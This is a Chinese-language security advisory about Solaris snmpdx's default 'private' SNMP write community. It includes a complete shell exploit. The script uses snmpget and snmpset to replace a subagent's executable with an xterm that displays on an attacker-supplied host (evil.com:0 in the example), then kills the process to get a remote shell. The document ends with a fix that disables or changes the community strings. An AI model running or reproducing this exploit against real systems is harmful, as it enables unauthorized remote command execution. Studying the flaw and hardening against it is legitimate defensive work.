导读-- Solaris缺省安装的snmp设置允许用户远程执行指令......
涉及
程序:
Solaris snmpd
描述
Solaris缺省安装的snmp设置允许用户远程执行指令
详细
缺省安装下, Solaris启动了snmpd,而且Community string为缺省值"private",这个值代表可读可写的权限。
在这种设置下,攻击者不仅可以获得很多系统的敏感信息,而且能远程执行指令,杀死系统上的进程。
以下代码仅供网络
安全研究,用于非法用途者后果自负!
#!/bin/sh
#
# Solaris 2.6 snmpdx private and lame remote exploit by acz@hert.org
#
if [ $# -ne 2 ]; then
echo "Usage: $0 $#@60;target$#@62; $#@60;evil_display$#@62;"
echo " eg. $0 example.com evil.com:0"
exit
fi
export TARGET=$1
export EVIL_DISPLAY=$2
PID=`snmpget 2$#@62;/dev/null $TARGET private .1.3.6.1.4.1.42.2.15.8.1.9.2|awk
{print $3}`
echo Process id of 2nd subagent: $PID $TARGET
snmpget 2$#@62;/dev/null $TARGET private .1.3.6.1.4.1.42.2.15.8.1.7.2
echo "Replacing Executable Path for 2nd subagent"
eval snmpset 2$#@62;/dev/null $TARGET private .1.3.6.1.4.1.42.2.15.8.1.7.2
s "/usr/openwin/bin/xterm -display $EVIL_DISPLAY -ut"
echo "Sending signal -KILL to process id $PID on $TARGET"
snmpset 2$#@62;/dev/null $TARGET all private .1.3.6.1.4.1.42.3.12.1.1.11.$PID
i 9
echo "Wait for xterm now"
在Solaris 2.6上测试通过!
解决方案
编辑/etc/snmp/conf/snmpd.conf
原来的内容如下:
system-group-read-community public
#system-group-write-community private
#
read-community public
write-community private
--------------------------
将write-community private注释掉
或换个密码
把read-community public也换个密码
也就是改为:
#system-group-read-community public
#system-group-write-community private
#
read-community 新密码
#write-community private
然后重启snmpx进程